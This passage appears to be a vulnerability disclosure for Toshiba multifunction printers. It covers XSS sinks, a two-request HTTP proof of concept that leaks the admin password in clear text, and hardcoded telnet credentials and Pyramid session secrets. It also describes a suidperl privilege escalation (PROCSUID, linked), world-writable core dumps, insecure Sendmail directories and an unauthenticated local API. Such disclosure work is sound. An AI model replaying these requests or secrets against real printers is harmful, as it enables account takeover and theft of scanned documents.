./Registration/Template/ScanToEmailAndSaveAsFile.html:            &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=10&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/ScanSetting.html:                        &lt;option value="High"&gt;&lt;script type="text/javascript"&gt;if(opener.getQueryStringValue("DefaultVals","self")=="true") {document.write(fnGetLocaleString("100880","High"));} else {document.write(fnGetLocaleString("101095","Low"));}&lt;/script&gt;
./Registration/Template/ScanSetting.html:                        &lt;option value="Low"&gt;&lt;script type="text/javascript"&gt;if(opener.getQueryStringValue("DefaultVals","self")=="true") {document.write(fnGetLocaleString("101095","Low"));} else {document.write(fnGetLocaleString("100880","High"));}&lt;/script&gt;
./Registration/Template/FaxSaveAsFile.html:            &lt;script type="text/javascript"&gt;document.write("&lt;INPUT  type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&amp;tempImgId=5&amp;groupid='+getQueryStringValue('groupid'));&gt;");&lt;/script&gt;
./Registration/Template/ScanToFile.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=6&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/ScanToFileAndUSB.html:                &lt;script type="text/javascript"&gt;document.write(" &lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=18&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/MetaScanToEmailAndFile.html:            &lt;script type="text/javascript"&gt;document.write("&lt;INPUT  type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&amp;tempImgId=23&amp;groupid='+getQueryStringValue('groupid'));&gt;");&lt;/script&gt;
./Registration/Template/ScanToFileAndBox.html:            &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=11&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/ScanToEfilingAndUSB.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=17&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/ScanToEmailAndEFiling.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=12&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
</code></pre>
<p>Since the <code>getQueryStringValue()</code> function is used 880 times in these files, there are more XSS vulnerabilities that can be found while analyzing the code.</p>
<pre><code>kali% pwd
/home/user/extract/home/SYSROM_SRC/build/release/TopAccess
kali% rgrep getQueryStringValue . | wc -l
880
kali%
</code></pre>
<p>An attacker can steal the cookie of an admin user.</p>
<p><a id="leak-admin-password"></a></p>
<h2>Details - Leak of admin password and passwords</h2>
<p>All the Toshiba printers will display the password of the admin user in clear-text and additional passwords when sending 2 specific HTTP requests to the API /contentwebserver. An attacker stealing the cookie of an admin or abusing a XSS vulnerability can recover this password in clear-text and compromise the printer.</p>
<p>This HTTP request can be shown below:</p>
<p>HTTP request used to recover the password of the admin user:</p>
<p><img alt="" src="images/2024-toshiba-leak-admin-password.png" /></p>
<p><a href="images/2024-toshiba-leak-admin-password-full.png">Click here for full image</a></p>
<p>2 requests are mandatory:</p>
<ul>
<li>The first POST request to <code>/contentwebserver</code> containing this payload:</li>
</ul>
<pre><xmp><DeviceInformationModel>
  <GetValue>
    <TopAccess>
      <SessionInfo/>
    </TopAccess>
  </GetValue>
</DeviceInformationModel></xmp></pre>

<ul>
<li>The second POST request to <code>/contentwebserver</code> containing this payload:</li>
</ul>
<pre><xmp><DeviceInformationModel>
  <GetValue>
    <UserManager>
      <Users/>
    </UserManager>
  </GetValue>
  <GetValue>
    <Authentication>
      <UserCredential/>
      <AuthenticationSettings/>
    </Authentication>
  </GetValue>
  <SetValue>
    <UserManager>
      <Users maxPage="" pageNo="1" pageSize="100" totalUsers=""/>
    </UserManager>
  </SetValue>
  <Command>
    <GetUsers>
      <commandNode>UserManager/Users</commandNode>
      <Params>
        <userDetails contentType="XPath">UserManager</userDetails>
        <cmdDetails>FEW</cmdDetails>
      </Params>
    </GetUsers>
  </Command>
  <Command>
    <GetSettings>
      <commandNode>Authentication/AuthenticationSettings</commandNode>
    </GetSettings>
  </Command>
</DeviceInformationModel></xmp></pre>

<p>The server will respond with the password displayed in clear-text.</p>
<p>It is also possible to visit http://printer-ip/usermanagement/userconfirm/UserList.html?v=1670282309ta&amp;PAGENO=1 as admin and review the HTTP traffic. These 2 requests will be automatically sent by the browser when visiting this webpage:</p>
<p><img alt="" src="images/2024-toshiba-userlist.png" /></p>
<p>The PoC is (session must be updated):</p>
<p>First HTTP request:</p>
<pre><code>POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */* 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.a89baa941c3bbdafcee7e9349daca6af
Content-Length: 120 
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/usermanagement/userconfirm/UserList.html?v=1670282309ta&amp;PAGENO=1
Cookie: Session=10.0.0.2.a89baa941c3bbdafcee7e9349daca6af; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1

&lt;DeviceInformationModel&gt;&lt;GetValue&gt;&lt;TopAccess&gt;&lt;SessionInfo&gt;&lt;/SessionInfo&gt;&lt;/TopAccess&gt;&lt;/GetValue&gt;&lt;/DeviceInformationModel&gt;
</code></pre>
<p>Second HTTP request:</p>
<pre><code>POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */* 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.a89baa941c3bbdafcee7e9349daca6af
Content-Length: 652 
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/usermanagement/userconfirm/UserList.html?v=1670282309ta&amp;PAGENO=1
Cookie: Session=10.0.0.2.a89baa941c3bbdafcee7e9349daca6af; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1

&lt;DeviceInformationModel&gt;&lt;GetValue&gt;&lt;UserManager&gt;&lt;Users/&gt;&lt;/UserManager&gt;&lt;/GetValue&gt;&lt;GetValue&gt;&lt;Authentication&gt;&lt;UserCredential&gt;&lt;/UserCredential&gt;&lt;AuthenticationSettings&gt;&lt;/AuthenticationSettings&gt;&lt;/Authentication&gt;&lt;/GetValue&gt;&lt;SetValue&gt;&lt;UserManager&gt;&lt;Users maxPage='' pageNo='1' pageSize='100' totalUsers=''&gt;&lt;/Users&gt;&lt;/UserManager&gt;&lt;/SetValue&gt;&lt;Command&gt;&lt;GetUsers&gt;&lt;commandNode&gt;UserManager/Users&lt;/commandNode&gt;&lt;Params&gt;&lt;userDetails contentType='XPath'&gt;UserManager&lt;/userDetails&gt;&lt;cmdDetails&gt;FEW&lt;/cmdDetails&gt;&lt;/Params&gt;&lt;/GetUsers&gt;&lt;/Command&gt;&lt;Command&gt;&lt;GetSettings&gt;&lt;commandNode&gt;Authentication/AuthenticationSettings&lt;/commandNode&gt;&lt;/GetSettings&gt;&lt;/Command&gt;&lt;/DeviceInformationModel&gt;
</code></pre>
<p>The answer for the second request will contain several passwords in clear-text, including the password of the admin user (<code>123456</code>):</p>
<pre><code>HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 11:17:34 GMT 
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=63072000
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: text/xml
Content-Length: 18489

[...]
          &lt;attrNameForUser ID="16"/&gt;
          &lt;atrNameForCardID ID="16"/&gt;
          &lt;attrNameForCardRevision ID="16"/&gt;
          &lt;attrNameForServerName ID="16"/&gt;
          &lt;passwordForCardRegistration&gt;[REDACTED]&lt;/passwordForCardRegistration&gt;
          &lt;skipRegistrationForCardAuth&gt;false&lt;/skipRegistrationForCardAuth&gt;
          &lt;autoRegistrationForCardAuth&gt;false&lt;/autoRegistrationForCardAuth&gt;
[...]
      &lt;UserCredential&gt;
        &lt;userName&gt;admin&lt;/userName&gt;
        &lt;passwd&gt;123456&lt;/passwd&gt;
        &lt;ipaddress&gt;10.0.0.2&lt;/ipaddress&gt;
        &lt;DepartmentManagement isEnable="false"&gt;
          &lt;requireDepartment/&gt;
        &lt;/DepartmentManagement&gt;
[...]
</code></pre>
<p>An attacker can retrieve the password of the admin user by using a XSS vulnerability or by stealing the cookie.</p>
<p><a id="hardcoded-password-telnetd"></a></p>
<h2>Details - Hardcoded credentials in telnetd</h2>
<p>It was observed that all the Toshiba printers contain hardcoded telnet credentials (Admin/System):</p>
<p>Content of the <code>telnet.conf</code> and <code>telnet.conf.bak</code> files:</p>
<pre><code>bash-4.1# ls -la /encryption/al/network/config/telnet.conf.bak
-rw-r--r-- 1 root root 41 Mar 15 11:50 /encryption/al/network/config/telnet.conf.bak
bash-4.1# ls -la /encryption/al/network/config/telnet.conf    
-rw-r--r-- 1 root root 41 Mar 15 11:50 /encryption/al/network/config/telnet.conf
bash-4.1# cat /encryption/al/network/config/telnet.conf
cat /encryption/al/network/config/telnet.conf
PortNo=23       
PassWord=System
UserName=Admin
bash-4.1# cat /encryption/al/network/config/telnet.conf.bak
cat /encryption/al/network/config/telnet.conf.bak
PortNo=23
PassWord=System
UserName=Admin
bash-4.1#
</code></pre>
<p>The telnet daemon can be enabled in the configuration file <code>/home/SYSROM_SRC/NoBuildItems/AL/Network/nsm.xml</code>, likely used by the alnsm program running as root.</p>
<p>Content of <code>/home/SYSROM_SRC/NoBuildItems/AL/Network/nsm.xml</code>:</p>
<pre><code>[...]
 785                                 &lt;NMO&gt;
 786                                         &lt;name&gt;Telnet&lt;/name&gt;
 787                                         &lt;configFile&gt;telnet.conf&lt;/configFile&gt;
 788                                         &lt;startCmd runBackground="1"&gt;$EB2/bin/networkservice/telnet start&lt;/startCmd&gt;
 789                                         &lt;stopCmd&gt;$EB2/bin/networkservice/telnet stop&lt;/stopCmd&gt;
 790                                         &lt;reloadCmd&gt;$EB2/bin/networkservice/telnet restart&lt;/reloadCmd&gt;
 791                                         &lt;statusCmd&gt;$EB2/bin/networkservice/telnet status&lt;/statusCmd&gt;
 792                                         &lt;serviceXpath&gt;Services/Telnet&lt;/serviceXpath&gt;
 793                                         &lt;connectSSM&gt;0&lt;/connectSSM&gt;
 794                                         &lt;startOrder&gt;32&lt;/startOrder&gt;
 795                                         &lt;dependents&gt;&lt;/dependents&gt;
 796                                         &lt;TranslationMap&gt;
 797                                                 &lt;Map&gt;
 798                                                         &lt;iniXpath&gt;UserName&lt;/iniXpath&gt;
 799                                                         &lt;xpath&gt;Username&lt;/xpath&gt;
 800                                                 &lt;/Map&gt;
 801                                                 &lt;Map&gt;
 802                                                         &lt;iniXpath&gt;PassWord&lt;/iniXpath&gt;
 803                                                         &lt;xpath&gt;Password&lt;/xpath&gt;
 804                                                 &lt;/Map&gt;
 805                                                 &lt;Map&gt;
 806                                                         &lt;iniXpath&gt;PortNo&lt;/iniXpath&gt;
 807                                                         &lt;xpath&gt;Port&lt;/xpath&gt;
 808                                                 &lt;/Map&gt;
 809                                         &lt;/TranslationMap&gt;
 810                                 &lt;/NMO&gt;
[...]
</code></pre>
<p>While the telnet server is not enabled by default, an attacker can login to the printer and get administrative privileges if the telnet server is enabled.</p>
<p><a id="lpe-procsuid"></a></p>
<h2>Details - Local Privilege Escalation using PROCSUID</h2>
<p>It was observed that all the Toshiba printers contain a suidperl binary located at /usr/bin/sperl5.10.1-17:</p>
<p>Perl 5.10.x dates from December 2007 and the suidperl binary at /usr/bin/sperl5.10.1-17 is vulnerable to a Local Privilege Escalation vulnerability. PROCSUID is an exploit developed by the NSA for this vulnerability and was made public in 2016.</p>
<p>The exploit is available at <a href="https://github.com/x0rz/EQGRP/blob/master/Linux/up/procsuids.sh.WITHCOMMENTS">https://github.com/x0rz/EQGRP/blob/master/Linux/up/procsuids.sh.WITHCOMMENTS</a>.</p>
<pre><code>bash-4.1# ls -la /usr/bin/sperl5.10.1-17
-rws--x--x 1 root root 74988 Mar 15 11:42 /usr/bin/sperl5.10.1-17
bash-4.1# /usr/bin/sperl5.10.1-17 --help

Usage: /usr/bin/sperl5.10.1-17 [switches] [--] [programfile] [arguments]
  -0[octal]         specify record separator (\0, if no argument)
  -a                autosplit mode with -n or -p (splits $_ into @F) 
  -C[number/list]   enables the listed Unicode features
  -c                check syntax only (runs BEGIN and CHECK blocks)
  -d[:debugger]     run program under debugger
  -D[number/list]   set debugging flags (argument is a bit mask or alphabets)
  -e program        one line of program (several -e's allowed, omit programfile)
  -E program        like -e, but enables all optional features
  -f                don't do $sitelib/sitecustomize.pl at startup
  -F/pattern/       split() pattern for -a switch (//'s are optional)
  -i[extension]     edit &lt;&gt; files in place (makes backup if extension supplied)
  -Idirectory       specify @INC/#include directory (several -I's allowed)
  -l[octal]         enable line ending processing, specifies line terminator
  -[mM][-]module    execute "use/no module..." before executing program
  -n                assume "while (&lt;&gt;) { ... }" loop around program
  -p                assume loop like -n but print line also, like sed 
  -P                run program through C preprocessor before compilation
  -s                enable rudimentary parsing for switches after programfile
  -S                look for programfile using PATH environment variable
  -t                enable tainting warnings
  -T                enable tainting checks
  -u                dump core after parsing program
  -U                allow unsafe operations
  -v                print version, subversion (includes VERY IMPORTANT perl info)
  -V[:variable]     print configuration summary (or a single Config.pm variable)
  -w                enable many useful warnings (RECOMMENDED)
  -W                enable all warnings
  -x[directory]     strip off text before #!perl line and perhaps cd to directory
  -X                disable all warnings

bash-4.1#
</code></pre>
<p>A local attacker can get root privileges.</p>
<p><a id="insecure-core-files"></a></p>
<h2>Details - Insecure permissions for core files</h2>
<p>It was observed that all the Toshiba printers contain coredump binaries in <code>/work/log/platform/syscallerr/gdb_backtraces</code>. These files have incorrect permissions; any local attacker can read and/or modify these files. These files contain the memory dump when the programs crashed and contain sensitive files (scanned files, printed files, and clear-text credentials):</p>
<p>Content of <code>/work/log/platform/syscallerr/gdb_backtraces</code>:</p>
<pre><code>bash-4.1# ls -la /work/log/platform/syscallerr/gdb_backtraces/ 
total 176
drwxrwxrwx 2 root root  4096 Apr 11 19:48 .
drwxrwxrwx 3 root root  4096 Apr  6  2016 ..
-rwxrwxrwx 1 root root 34651 Mar 23 20:27 core.alhp9100.4104.MFP14130119.1679583349_backtrace
-rwxrwxrwx 1 root root  2440 Mar 23 20:27 core.alipp.4825.MFP14130119.1679583369_backtrace
-rwxrwxrwx 1 root root  1007 Mar 23 20:26 core.bash.17184.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root  1729 Mar 23 20:26 core.curl.17593.MFP14130119.1679583273_backtrace
-rwxrwxrwx 1 root root   679 Mar 23 20:27 core.dibbler-client.3219.MFP14130119.1679583329_backtrace
-rwxrwxrwx 1 root root  1554 Mar 23 20:27 core.httpd.17263.MFP14130119.1679583348_backtrace
-rwxrwxrwx 1 root root  1514 Mar 23 20:27 core.httpd.17339.MFP14130119.1679583357_backtrace
-rwxrwxrwx 1 root root  3099 Mar 23 20:27 core.httpd.5108.MFP14130119.1679583307_backtrace
-rwxrwxrwx 1 root root  1140 Mar 23 20:27 core.httpd.5119.MFP14130119.1679583308_backtrace
-rwxrwxrwx 1 root root  1140 Mar 23 20:27 core.httpd.5120.MFP14130119.1679583310_backtrace
-rwxrwxrwx 1 root root  1302 Mar 23 20:27 core.httpd.5121.MFP14130119.1679583304_backtrace
-rwxrwxrwx 1 root root  1513 Mar 23 20:27 core.httpd.5122.MFP14130119.1679583374_backtrace
-rwxrwxrwx 1 root root  1513 Mar 23 20:27 core.httpd.5124.MFP14130119.1679583309_backtrace
-rwxrwxrwx 1 root root  1513 Mar 23 20:27 core.httpd.5126.MFP14130119.1679583330_backtrace
-rwxrwxrwx 1 root root  1513 Mar 23 20:27 core.httpd.5127.MFP14130119.1679583372_backtrace
-rwxrwxrwx 1 root root  1140 Mar 23 20:27 core.httpd.5128.MFP14130119.1679583306_backtrace
-rwxrwxrwx 1 root root 24384 Apr 11 19:48 core.httpd_worker.8272.MFP14130119.1681135080_backtrace
-rwxrwxrwx 1 root root 17882 Mar 23 20:27 core.mapper.1572.MFP14130119.1679583311_backtrace
-rwxrwxrwx 1 root root  1673 Mar 23 20:27 core.nqcs.4048.MFP14130119.1679583366_backtrace
-rwxrwxrwx 1 root root  1025 Mar 23 20:27 core.sendmail.3868.MFP14130119.1679583366_backtrace
-rwxrwxrwx 1 root root  1226 Mar 23 20:26 core.sh.17183.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root  1080 Mar 23 20:27 core.slpd.4475.MFP14130119.1679583369_backtrace
-rwxrwxrwx 1 root root  5025 Mar 23 20:26 core.snmpd.4229.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root  1068 Mar 23 20:27 core.vsftpd.4033.MFP14130119.1679583366_backtrace
bash-4.1#
</code></pre>
<p>A local attacker can steal confidential information.</p>
<p><a id="lpe-sendmail"></a></p>
<h2>Details - Insecure permissions used for Sendmail - Local Privilege Escalation</h2>
<p>It was observed that all the Toshiba printers use Sendmail to send emails to recipients.</p>
<p>Sendmail is used with several insecure directories:</p>
<ul>
<li><code>/work/ci/tmp</code> to store temporary configuration files for Sendmail, this directory has dangerous permissions (777), as shown below in the logs of Sendmail.</li>
<li><code>/var/spool/clientmqueue</code> to store emails, this directory has dangerous permissions, as shown below in the logs of Sendmail.</li>
</ul>
<p>Content of <code>/ramdisk/al/network/log/maillog</code>:</p>
<pre><code>2023-04-14T19:59:58.973687+12:00 localhost faxmilter[4069]: call the smfi_main function
2023-04-14T21:07:31.005288+12:00 localhost sendmail[10814]: /work/ci/tmp/Config5564fde0-02e5-4e85-a5ff-0937a7de150a.cf: WARNING: dangerous write permissions
2023-04-14T21:07:31.035657+12:00 localhost sendmail[10814]: dangerous permissions=40777 on queue directory /var/spool/clientmqueue/
2023-04-14T21:07:31.140713+12:00 localhost sendmail[10814]: 12A91D0a561921: from=test@test-smtp.org, size=312413, class=0, nrcpts=1, msgid=&lt;TTEC89704647-f3b3-4f31-b9c5-348f90ae72f8@hostname&gt;, relay=root@localhost
</code></pre>
<p>A local attacker can inject a malicious Sendmail configuration file and get Remote Code Execution as root.</p>
<p>A local attacker can inject a malicious scanned file.</p>
<p>A local attacker can steal confidential information.</p>
<p><a id="hardcoded-keys-python"></a></p>
<h2>Details - Hardcoded keys found in Python applications used to generate authentication cookies</h2>
<p>It was observed that all the Toshiba printers use Python programs running as WSGI applications to provide dynamic web APIs. These APIs provide, for example, remote administration to the printers.</p>
<p>It appears that some hardcoded keys are used for authentication within Pyramid. Knowing these private keys may allow attackers to bypass authentication and reach administrative interfaces:</p>
<ul>
<li>Settingapp WSGI program</li>
<li>HomeApp WSGI program</li>
<li>WebServerApp WSGI program</li>
</ul>
<p>Hardcoded keys:</p>
<pre><code>/home/SYSROM_SRC/build/release/webframework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/webframework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/home/SYSROM_SRC/build/release/framework/webserverapp/development.ini:session.secret = ZV2ViU2VydmVyQXBwZ
/home/SYSROM_SRC/build/release/framework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/framework/settingapp/development_sapp.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/framework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/application/webframework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/webframework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/application/framework/webserverapp/development.ini:session.secret = ZV2ViU2VydmVyQXBwZ
/application/framework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/framework/settingapp/development_sapp.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/framework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
</code></pre>
<p>Such apps are directly reachable due to the use of Apache as a reverse proxy.</p>
<p>For example, to reach the SettingApp, it is possible to send HTTP request to <code>/aplpx/</code>:</p>
<p>Content of <code>/encryption/al/network/config/httpd.conf</code>:</p>
<pre><code>[...]
1146 ProxyPass /aplpx/ http://localhost:50184/
1147 ProxyPassReverse /aplpx/ http://localhost:50184/
[...]
</code></pre>
<p>A remote attacker can bypass authentication in remote applications.</p>
<p><a id="lpe-webpanel"></a></p>
<h2>Details - Lack of authentication in WebPanel - Local Privilege Escalation</h2>
<p>It was observed that all the Toshiba printers use Python programs running as WSGI applications to provide dynamic web APIs. These APIs provide, for example, remote administration to the printers.</p>
<p>One of these applications is the WebPanel, binding to the localhost interface on port 50180/tcp. This program provides API without authentication. A local attacker can change the configuration of the printer without authentication by reaching these routes located inside <code>/devicecontrol</code>:</p>
<p>Content of <code>/registration/al/WebPanel/wpserver/screenfacade/devicecontrol/__init__.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  <span style="color: #666666">1</span> <span style="color: #408080; font-style: italic">#! /usr/bin/env python</span>
  <span style="color: #666666">2</span> <span style="color: #408080; font-style: italic"># -*- coding: utf-8 -*-</span>
  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">logging</span>
  <span style="color: #666666">4</span>
  <span style="color: #666666">5</span> <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">pyramid.config</span> <span style="color: #008000; font-weight: bold">import</span> Configurator
  <span style="color: #666666">6</span>
  <span style="color: #666666">7</span> log <span style="color: #666666">=</span> logging<span style="color: #666666">.</span>getLogger(<span style="color: #BA2121">&quot;wpserver&quot;</span>)
  <span style="color: #666666">8</span>
  <span style="color: #666666">9</span>
 <span style="color: #666666">10</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">includeme</span>(config):
 <span style="color: #666666">11</span>     log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&quot;includeme:ENTER&quot;</span>)
 <span style="color: #666666">12</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;init_powercontrol&#39;</span>, <span style="color: #BA2121">&#39;initPowerControl&#39;</span>)
 <span style="color: #666666">13</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;powercontrol_mode&#39;</span>, <span style="color: #BA2121">&#39;PowercontrolMode&#39;</span>)
 <span style="color: #666666">14</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;turn_on_led&#39;</span>, <span style="color: #BA2121">&#39;turnOnLED&#39;</span>)
 <span style="color: #666666">15</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;turn_off_led&#39;</span>, <span style="color: #BA2121">&#39;turnOffLED&#39;</span>)
 <span style="color: #666666">16</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;invoke_screen&#39;</span>, <span style="color: #BA2121">&#39;invokeScreen&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">17</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;invoke_popup_window&#39;</span>, <span style="color: #BA2121">&#39;invokePopupWindow&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">18</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;invoke_auth_popup_window&#39;</span>, <span style="color: #BA2121">&#39;invokeAuthPopupWindow&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">19</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;invoke_auth_popupwindowwith_permissions&#39;</span>, <span style="color: #BA2121">&#39;invokeAuthPopupWindowWithPermissions&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">20</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;start_rotatepolygon&#39;</span>, <span style="color: #BA2121">&#39;startRotatePolygon&#39;</span>)
 <span style="color: #666666">21</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;start_fuserheating&#39;</span>, <span style="color: #BA2121">&#39;startFuserHeating&#39;</span>)
 <span style="color: #666666">22</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;start_fuserheating_rotatepolygon&#39;</span>, <span style="color: #BA2121">&#39;startFuserHeatingRotatePolygon&#39;</span>)
 <span style="color: #666666">23</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;invoke_popup_screen&#39;</span>, <span style="color: #BA2121">&#39;invokePopupScreen&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">24</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;invoke_drawer_window&#39;</span>, <span style="color: #BA2121">&#39;invokeDrawerWindow&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">25</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;blink_led&#39;</span>, <span style="color: #BA2121">&#39;blinkLED&#39;</span>)
 <span style="color: #666666">26</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;get_device_running_status&#39;</span>, <span style="color: #BA2121">&#39;getDeviceRunningStatus&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">27</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;get_drawer_information&#39;</span>, <span style="color: #BA2121">&#39;getDrawerInformation&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">28</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;lock_keys_withid&#39;</span>, <span style="color: #BA2121">&#39;lockKeysWithID&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">29</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;unlock_keys_withid&#39;</span>, <span style="color: #BA2121">&#39;unLockKeysWithID&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">30</span>     config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;show_sharedhome_window&#39;</span>, <span style="color: #BA2121">&#39;showSharedHomeWindow&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">31</span>     log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&quot;includeme:EXIT&quot;</span>)
 <span style="color: #666666">32</span>
 <span style="color: #666666">33</span>
 <span style="color: #666666">34</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">main</span>(global_config, <span style="color: #666666">**</span>settings):
 <span style="color: #666666">35</span>     <span style="color: #BA2121">&quot;&quot;&quot; This function returns a Pyramid WSGI application.</span>
<span style="color: #BA2121"> 36     &quot;&quot;&quot;</span>
 <span style="color: #666666">37</span>     log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&quot;main:ENTER&quot;</span>)
 <span style="color: #666666">38</span>     config <span style="color: #666666">=</span> Configurator(settings<span style="color: #666666">=</span>settings)
 <span style="color: #666666">39</span>     config<span style="color: #666666">.</span>include(includeme, route_prefix<span style="color: #666666">=</span><span style="color: #BA2121">&#39;/devicecontrol&#39;</span>)
 <span style="color: #666666">40</span>     config<span style="color: #666666">.</span>add_static_view(<span style="color: #BA2121">&#39;static&#39;</span>, <span style="color: #BA2121">&#39;prototype&#39;</span>, cache_max_age<span style="color: #666666">=3600</span>)
 <span style="color: #666666">41</span>     config<span style="color: #666666">.</span>scan(<span style="color: #BA2121">&#39;devicecontrol&#39;</span>)
